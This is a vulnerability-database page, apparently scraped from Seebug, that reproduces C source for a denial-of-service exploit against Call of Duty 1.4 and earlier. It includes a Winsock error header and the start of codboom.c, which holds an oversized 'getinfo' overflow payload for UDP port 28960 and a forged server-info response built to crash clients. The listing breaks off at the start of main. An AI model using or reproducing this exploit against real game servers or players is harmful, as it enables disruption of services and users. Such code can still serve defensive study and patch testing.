Lucene search
K

Call of Duty <= 1.4 Denial of Service Exploit

🗓️ 07 Jul 2008 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 42 Views

Call of Duty <= 1.4 Denial of Service Exploit. Windows error management header for socket and errno

Code

                                                /*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;winerr.h&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*/

/*
&nbsp;&nbsp;&nbsp;Header&nbsp;file&nbsp;used&nbsp;for&nbsp;manage&nbsp;errors&nbsp;in&nbsp;Windows
&nbsp;&nbsp;&nbsp;It&nbsp;support&nbsp;socket&nbsp;and&nbsp;errno&nbsp;too
&nbsp;&nbsp;&nbsp;(this&nbsp;header&nbsp;replace&nbsp;the&nbsp;previous&nbsp;sock_errX.h)
*/

#include&nbsp;&lt;string.h&gt;
#include&nbsp;&lt;errno.h&gt;



void&nbsp;std_err(void)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;&nbsp;&nbsp;&nbsp;*error;

&nbsp;&nbsp;&nbsp;&nbsp;switch(WSAGetLastError())&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10004:&nbsp;error&nbsp;=&nbsp;&quot;Interrupted&nbsp;system&nbsp;call&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10009:&nbsp;error&nbsp;=&nbsp;&quot;Bad&nbsp;file&nbsp;number&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10013:&nbsp;error&nbsp;=&nbsp;&quot;Permission&nbsp;denied&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10014:&nbsp;error&nbsp;=&nbsp;&quot;Bad&nbsp;address&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10022:&nbsp;error&nbsp;=&nbsp;&quot;Invalid&nbsp;argument&nbsp;(not&nbsp;bind)&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10024:&nbsp;error&nbsp;=&nbsp;&quot;Too&nbsp;many&nbsp;open&nbsp;files&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10035:&nbsp;error&nbsp;=&nbsp;&quot;Operation&nbsp;would&nbsp;block&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10036:&nbsp;error&nbsp;=&nbsp;&quot;Operation&nbsp;now&nbsp;in&nbsp;progress&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10037:&nbsp;error&nbsp;=&nbsp;&quot;Operation&nbsp;already&nbsp;in&nbsp;progress&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10038:&nbsp;error&nbsp;=&nbsp;&quot;Socket&nbsp;operation&nbsp;on&nbsp;non-socket&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10039:&nbsp;error&nbsp;=&nbsp;&quot;Destination&nbsp;address&nbsp;required&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10040:&nbsp;error&nbsp;=&nbsp;&quot;Message&nbsp;too&nbsp;long&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10041:&nbsp;error&nbsp;=&nbsp;&quot;Protocol&nbsp;wrong&nbsp;type&nbsp;for&nbsp;socket&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10042:&nbsp;error&nbsp;=&nbsp;&quot;Bad&nbsp;protocol&nbsp;option&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10043:&nbsp;error&nbsp;=&nbsp;&quot;Protocol&nbsp;not&nbsp;supported&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10044:&nbsp;error&nbsp;=&nbsp;&quot;Socket&nbsp;type&nbsp;not&nbsp;supported&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10045:&nbsp;error&nbsp;=&nbsp;&quot;Operation&nbsp;not&nbsp;supported&nbsp;on&nbsp;socket&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10046:&nbsp;error&nbsp;=&nbsp;&quot;Protocol&nbsp;family&nbsp;not&nbsp;supported&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10047:&nbsp;error&nbsp;=&nbsp;&quot;Address&nbsp;family&nbsp;not&nbsp;supported&nbsp;by&nbsp;protocol&nbsp;family&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10048:&nbsp;error&nbsp;=&nbsp;&quot;Address&nbsp;already&nbsp;in&nbsp;use&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10049:&nbsp;error&nbsp;=&nbsp;&quot;Can't&nbsp;assign&nbsp;requested&nbsp;address&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10050:&nbsp;error&nbsp;=&nbsp;&quot;Network&nbsp;is&nbsp;down&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10051:&nbsp;error&nbsp;=&nbsp;&quot;Network&nbsp;is&nbsp;unreachable&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10052:&nbsp;error&nbsp;=&nbsp;&quot;Net&nbsp;dropped&nbsp;connection&nbsp;or&nbsp;reset&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10053:&nbsp;error&nbsp;=&nbsp;&quot;Software&nbsp;caused&nbsp;connection&nbsp;abort&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10054:&nbsp;error&nbsp;=&nbsp;&quot;Connection&nbsp;reset&nbsp;by&nbsp;peer&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10055:&nbsp;error&nbsp;=&nbsp;&quot;No&nbsp;buffer&nbsp;space&nbsp;available&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10056:&nbsp;error&nbsp;=&nbsp;&quot;Socket&nbsp;is&nbsp;already&nbsp;connected&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10057:&nbsp;error&nbsp;=&nbsp;&quot;Socket&nbsp;is&nbsp;not&nbsp;connected&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10058:&nbsp;error&nbsp;=&nbsp;&quot;Can't&nbsp;send&nbsp;after&nbsp;socket&nbsp;shutdown&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10059:&nbsp;error&nbsp;=&nbsp;&quot;Too&nbsp;many&nbsp;references,&nbsp;can't&nbsp;splice&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10060:&nbsp;error&nbsp;=&nbsp;&quot;Connection&nbsp;timed&nbsp;out&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10061:&nbsp;error&nbsp;=&nbsp;&quot;Connection&nbsp;refused&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10062:&nbsp;error&nbsp;=&nbsp;&quot;Too&nbsp;many&nbsp;levels&nbsp;of&nbsp;symbolic&nbsp;links&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10063:&nbsp;error&nbsp;=&nbsp;&quot;File&nbsp;name&nbsp;too&nbsp;long&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10064:&nbsp;error&nbsp;=&nbsp;&quot;Host&nbsp;is&nbsp;down&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10065:&nbsp;error&nbsp;=&nbsp;&quot;No&nbsp;Route&nbsp;to&nbsp;Host&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10066:&nbsp;error&nbsp;=&nbsp;&quot;Directory&nbsp;not&nbsp;empty&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10067:&nbsp;error&nbsp;=&nbsp;&quot;Too&nbsp;many&nbsp;processes&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10068:&nbsp;error&nbsp;=&nbsp;&quot;Too&nbsp;many&nbsp;users&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10069:&nbsp;error&nbsp;=&nbsp;&quot;Disc&nbsp;Quota&nbsp;Exceeded&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10070:&nbsp;error&nbsp;=&nbsp;&quot;Stale&nbsp;NFS&nbsp;file&nbsp;handle&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10091:&nbsp;error&nbsp;=&nbsp;&quot;Network&nbsp;SubSystem&nbsp;is&nbsp;unavailable&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10092:&nbsp;error&nbsp;=&nbsp;&quot;WINSOCK&nbsp;DLL&nbsp;Version&nbsp;out&nbsp;of&nbsp;range&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10093:&nbsp;error&nbsp;=&nbsp;&quot;Successful&nbsp;WSASTARTUP&nbsp;not&nbsp;yet&nbsp;performed&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;10071:&nbsp;error&nbsp;=&nbsp;&quot;Too&nbsp;many&nbsp;levels&nbsp;of&nbsp;remote&nbsp;in&nbsp;path&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;11001:&nbsp;error&nbsp;=&nbsp;&quot;Host&nbsp;not&nbsp;found&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;11002:&nbsp;error&nbsp;=&nbsp;&quot;Non-Authoritative&nbsp;Host&nbsp;not&nbsp;found&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;11003:&nbsp;error&nbsp;=&nbsp;&quot;Non-Recoverable&nbsp;errors:&nbsp;FORMERR,&nbsp;REFUSED,&nbsp;NOTIMP&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;11004:&nbsp;error&nbsp;=&nbsp;&quot;Valid&nbsp;name,&nbsp;no&nbsp;data&nbsp;record&nbsp;of&nbsp;requested&nbsp;type&quot;;&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;default:&nbsp;error&nbsp;=&nbsp;strerror(errno);&nbsp;break;
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;fprintf(stderr,&nbsp;&quot;\nError:&nbsp;%s\n&quot;,&nbsp;error);
&nbsp;&nbsp;&nbsp;&nbsp;exit(1);
}

/*&nbsp;&nbsp;codboom.c&nbsp;*/

/*

by&nbsp;Luigi&nbsp;Auriemma

*/

#include&nbsp;&lt;stdio.h&gt;
#include&nbsp;&lt;stdlib.h&gt;
#include&nbsp;&lt;string.h&gt;

#ifdef&nbsp;WIN32
&nbsp;&nbsp;&nbsp;&nbsp;#include&nbsp;&lt;winsock.h&gt;
&nbsp;&nbsp;&nbsp;&nbsp;#include&nbsp;&lt;io.h&gt;
&nbsp;&nbsp;&nbsp;&nbsp;#include&nbsp;&lt;malloc.h&gt;
&nbsp;&nbsp;&nbsp;&nbsp;#include&nbsp;&quot;winerr.h&quot;

&nbsp;&nbsp;&nbsp;&nbsp;#define&nbsp;close&nbsp;&nbsp;&nbsp;closesocket
#else
&nbsp;&nbsp;&nbsp;&nbsp;#include&nbsp;&lt;unistd.h&gt;
&nbsp;&nbsp;&nbsp;&nbsp;#include&nbsp;&lt;sys/socket.h&gt;
&nbsp;&nbsp;&nbsp;&nbsp;#include&nbsp;&lt;sys/types.h&gt;
&nbsp;&nbsp;&nbsp;&nbsp;#include&nbsp;&lt;arpa/inet.h&gt;
&nbsp;&nbsp;&nbsp;&nbsp;#include&nbsp;&lt;netdb.h&gt;
#endif



#define&nbsp;VER&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;0.1&quot;
#define&nbsp;BUFFSZ&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;2048
#define&nbsp;PORT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;28960
#define&nbsp;TIMEOUT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;3
#define&nbsp;INFO&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\xff\xff\xff\xff&quot;&nbsp;&quot;getinfo&nbsp;xxx\n&quot;
#define&nbsp;BOOM&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&quot;&nbsp;\
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&quot;&nbsp;\
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&quot;&nbsp;\
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&quot;&nbsp;\
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&quot;&nbsp;\
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&quot;&nbsp;\
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&quot;&nbsp;\
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&quot;&nbsp;\
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&quot;&nbsp;\
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&quot;&nbsp;\
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&quot;&nbsp;\
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&quot;&nbsp;\
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&quot;&nbsp;\
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&quot;&nbsp;\
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&quot;&nbsp;\
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;must&nbsp;be&nbsp;major&nbsp;than&nbsp;1023&nbsp;bytes
#define&nbsp;SVBOF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\xff\xff\xff\xff&quot;&nbsp;&quot;getinfo&nbsp;%s\n&quot;
#define&nbsp;CLBOF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\xff\xff\xff\xff&quot;&nbsp;\
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;%sResponse\n&quot;&nbsp;\
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\\g_gametype\\dm&quot;&nbsp;\
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\\gamename\\Call&nbsp;of&nbsp;Duty&quot;&nbsp;\
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\\mapname\\mp_carentan&quot;&nbsp;\
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\\protocol\\5&quot;&nbsp;\
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\\scr_friendlyfire\\0&quot;&nbsp;\
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\\scr_killcam\\0&quot;&nbsp;\
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\\shortversion\\1.4&quot;&nbsp;\
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\\sv_allowAnonymous\\0&quot;&nbsp;\
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\\sv_floodProtect\\1&quot;&nbsp;\
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\\sv_hostname\\Crash&quot;&nbsp;\
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\\sv_maxclients\\26&quot;&nbsp;\
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\\sv_maxPing\\0&quot;&nbsp;\
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\\sv_maxRate\\10000&quot;&nbsp;\
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\\sv_minPing\\0&quot;&nbsp;\
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\\sv_privateClients\\0&quot;&nbsp;\
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\\sv_punkbuster\\1&quot;&nbsp;\
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\\sv_pure\\1&quot;&nbsp;\
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\\pswrd\\0&quot;&nbsp;\
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\\mod\\1&quot;&nbsp;\
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\\crash\\%s&quot;



void&nbsp;show_info(u_char&nbsp;*buff);
int&nbsp;timeout(int&nbsp;sock);
u_long&nbsp;resolv(char&nbsp;*host);
void&nbsp;std_err(void);



int&nbsp;main(int&nbsp;argc,&nbsp;char&nbsp;*argv[])&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sd,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;len,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;psz,
